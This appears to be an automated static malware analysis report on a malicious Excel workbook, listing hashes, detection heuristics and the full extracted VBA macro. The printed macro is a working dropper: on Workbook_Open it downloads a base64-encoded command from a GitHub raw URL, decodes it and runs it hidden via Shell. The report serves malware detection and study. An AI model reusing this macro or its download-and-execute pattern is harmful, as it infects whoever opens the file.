Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 8a98ee752919eef5…

MALICIOUS

Office (OOXML) / .XLSX

14.8 KB Created: 2018-09-06 01:19:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-06
MD5: ff5e18113ef923fd1227c9c01c5988a0 SHA-1: ff4de110132f2eab0042732626d647052a9699b6 SHA-256: 8a98ee752919eef58043101a28659cde6cb5eea57160c67fd488dc68f8b55f7b
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell decoded, vbHide     ' ← Execute 대신 Shell 사용
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
                Shell decoded, vbHide     ' ← Execute 대신 Shell 사용
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xml = CreateObject("MSXML2.DOMDocument")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/nofeathers/BabyShark/refs/heads/main/kimsuky1/1.cmd Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1889 bytes
SHA-256: 11ba38558a8fb46b4b3545fae0783d0d812f140a7741d91cc36dff0b5769791c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Function Base64Decode(ByVal strBase64 As String) As String
    Dim xml As Object
    Dim node As Object
    
    Set xml = CreateObject("MSXML2.DOMDocument")
    Set node = xml.createElement("b64")
    
    node.DataType = "bin.base64"
    node.Text = strBase64
    Base64Decode = StrConv(node.nodeTypedValue, vbUnicode)
    
    Set node = Nothing
    Set xml = Nothing
End Function

Sub Workbook_Open()
    On Error Resume Next
    
    Dim q As Object
    Dim f As String
    Dim decoded As String
    
    Set q = CreateObject("MSXML2.XMLHTTP")
    
    q.Open "GET", "https://raw.githubusercontent.com/nofeathers/BabyShark/refs/heads/main/kimsuky1/1.cmd", False
    q.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
    q.Send
    
    f = Trim(q.responseText)
    
    If Len(f) > 10 Then
        decoded = Base64Decode(f)
        
        If Len(decoded) > 5 Then
            ' === 여기서 변경 ===
            Shell decoded, vbHide     ' ← Execute 대신 Shell 사용
            ' 또는 더 안전하게:
            ' Shell "cmd /c " & decoded, vbHide
        End If
    End If
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: 570262dffcb1eb2ecfc627474699b81d74e705c0a3c9e9c199c90ab0863c6914

Open this report in the interactive analyzer, or submit your own file for analysis.